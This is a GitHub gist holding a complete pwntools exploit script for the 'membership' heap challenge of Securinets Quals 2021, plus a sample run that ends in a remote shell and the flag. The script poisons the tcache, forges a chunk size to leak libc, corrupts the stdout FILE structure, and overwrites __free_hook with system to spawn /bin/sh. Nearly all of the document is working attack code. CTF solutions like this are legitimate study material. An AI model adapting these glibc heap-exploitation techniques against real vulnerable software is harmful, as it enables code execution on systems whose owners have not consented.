Last active
March 25, 2021 23:05
-
-
Save hugsy/3dd1b6d4a277e51fc3bd952fca59ae6f to your computer and use it in GitHub Desktop.
securinet - membership
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3.9 | |
""" | |
membership - securinets quals 2021 | |
@_hugsy_ | |
$ ./xp.py remote | |
[*] '/home/hugsy/ctf/securinets_quals_2021/membership/membership' | |
Arch: amd64-64-little | |
RELRO: Full RELRO | |
Stack: Canary found | |
NX: NX enabled | |
PIE: PIE enabled | |
[*] '/home/hugsy/ctf/securinets_quals_2021/membership/libc-2.31.so' | |
Arch: amd64-64-little | |
RELRO: Partial RELRO | |
Stack: Canary found | |
NX: NX enabled | |
PIE: PIE enabled | |
[+] Opening connection to bin.q21.ctfsecurinets.com on port 1339: Done | |
[*] leaking the libc... | |
[*] 00000000 80 29 34 ba 4b 7f 00 00 01 00 00 00 00 00 00 00 │·)4·│K···│····│····│ | |
00000010 ff ff ff ff ff ff ff ff 00 00 00 31 20 2d 20 73 │····│····│···1│ - s│ | |
00000020 75 62 73 63 72 69 62 65 0a │ubsc│ribe│·│ | |
00000029 | |
[+] leak = 7f4bba342980 | |
[+] libc = 7f4bba157000 | |
[+] __free_hook = 7f4bba345b28 | |
[+] system = 7f4bba1ac410 | |
[*] overwrite free hook | |
[*] free chunk to trigger system | |
[+] enjoy!!! | |
[*] Switching to interactive mode | |
$ cat flag | |
flag{welcome_you_are_now_one_of_us_4d2d08c6994188b642a854194916fbbc} | |
""" | |
import os | |
from pwn import * | |
# context.log_level = "debug" | |
context.arch = "amd64" | |
context.terminal = ["tmux", "split-window", "-v", "-p 75"] | |
LOCAL = True | |
elf = ELF(os.path.realpath("./membership")) | |
libc = ELF(os.path.realpath("./libc-2.31.so")) | |
def attach(r): | |
if LOCAL: | |
bkps = [ | |
# elf.symbols["main"], | |
] | |
cmds = [ | |
"heap-analysis-helper", | |
# "bp * $_base() + 0x1337", | |
"bp system", | |
"continue", | |
] | |
gdb.attach(r, '\n'.join(["break *{:#x}".format(x) for x in bkps] + cmds)) | |
return | |
def subscribe(r): | |
r.sendlineafter(b"4 - exit(0)\n>", str(1)) | |
r.recvuntil(b"Done\n") | |
def unsubscribe(r, idx, final=False): | |
r.sendlineafter(b"4 - exit(0)\n>", str(2)) | |
r.sendlineafter(b"Index: ", str(idx)) | |
if not final: | |
r.recvuntil(b"Done\n") | |
def edit(r, idx, content): | |
r.sendlineafter(b"4 - exit(0)\n>", str(3)) | |
r.sendlineafter(b"Index: ", str(idx)) | |
r.sendafter(b"Content: ", content) | |
def exploit(r): | |
info(f"leaking the libc...") | |
# do some allocations = subscriptions | |
for _ in range(15): | |
subscribe(r) | |
# # we want to corrupt the tcache to make malloc return inside a chunk | |
unsubscribe(r, 0) | |
unsubscribe(r, 1) | |
# # the initial fd contains 0xXXXXXXXa0, we offset this value slightly so we can land | |
# # inside the chunk and edit the header of the next via a partial overwrite | |
edit(r, 1, p8(0xa0 + 0x40)) | |
subscribe(r) # 0 | |
subscribe(r) # 1 | |
# now chunks[1] can be used to overwrite chunks[2] header | |
# and overwrite chunks[2] header without PREV_INUSE and a large size (11 * (0x50+0x10) | 1)=0x421 | |
edit(r, 1, p64(0)*3+p64(0x421)) | |
# chunks[1].header has PREV_INUSE, we can free chunks[0] again | |
# this will: | |
# 1. free chunk[0], moving it to the front of tcachebin | |
# 2. consolidate by moving chunk[2] to the unsorted bin, and so leaking the libc pointers | |
unsubscribe(r, 0) | |
# the unsorted bin address in the libc is near very _IO_2_1_stdout_ | |
# 0:000 ➤ dq 0x0000555555559300 2 | |
# 0x0000555555559300│+0x0000 0x00007ffff7fc2be0 | |
# 0x0000555555559308│+0x0008 0x00007ffff7fc2be0 | |
# 0:000 ➤ dq &_IO_2_1_stdout_ l1 | |
# 0x7ffff7fc36a0 <_IO_2_1_stdout_>: 0x00000000fbad2887 | |
# here tcache is empty, unsorted is not: we allocate a few subscriptions | |
# this will fragment the big unsorted bin chunk | |
subscribe(r) | |
subscribe(r) # 15 | |
subscribe(r) # 16 | |
# free some chunks part of the big chunk (will end up in tcache) | |
unsubscribe(r, 7) | |
unsubscribe(r, 8) | |
unsubscribe(r, 16) | |
unsubscribe(r, 15) | |
# corrupt the tcache to make malloc() land in stdout | |
# now the tcache has an entry that points to libc stdout struct | |
edit(r, 15, p8(0x00)) | |
edit(r, 0, p16(0x36a0)) | |
# allocate enough subscription to dereference the list and make | |
# malloc return inside the libc | |
subscribe(r) | |
subscribe(r) | |
subscribe(r) # chunks[16] is in libc | |
# 0:000 ➤ dq $_base()+0x40c0 | |
# [...] | |
# 0x0000555555558128│+0x0068 0x0000555555559780 | |
# 0x0000555555558130│+0x0070 0x00005555555597e0 | |
# 0x0000555555558138│+0x0078 0x00007ffff7fc36a0 | |
# success ! | |
# and corrupt the FILE* structure to leak the libc | |
edit(r, 15, p64(0xfbad1800)+p64(0)*3+p8(8)) | |
leak = r.recvline() | |
info(hexdump(leak)) | |
if LOCAL: | |
libc_leak = u64(leak[8:16]) | |
else: | |
libc_leak = u64(leak[0:8]) | |
libc.address = libc_leak - 1862016 | |
libc.address = libc_leak - 2013568 | |
success(f"leak = {libc_leak:x}") | |
success(f"libc = {libc.address:x}") | |
success(f"__free_hook = {libc.sym['__free_hook']:x}") | |
success(f"system = {libc.sym['system']:x}") | |
# and the rest is trivial :) | |
info(f"overwrite free hook") | |
unsubscribe(r, 12) | |
unsubscribe(r, 11) | |
edit(r, 11, p64(libc.sym['__free_hook'])) | |
subscribe(r) | |
subscribe(r) | |
edit(r, 12, p64(libc.sym['system'])) | |
edit(r, 11, b"/bin/sh\0") | |
info("free chunk to trigger system") | |
unsubscribe(r, 11, final=True) | |
success("enjoy!!!") | |
r.interactive() | |
return 0 | |
if __name__ == "__main__": | |
if len(sys.argv)>=2: | |
LOCAL = False | |
r = remote("bin.q21.ctfsecurinets.com", 1339) | |
else: | |
r = process([elf.path, ], env={"LD_PRELOAD": libc.path}) | |
attach(r) | |
exit(exploit(r)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment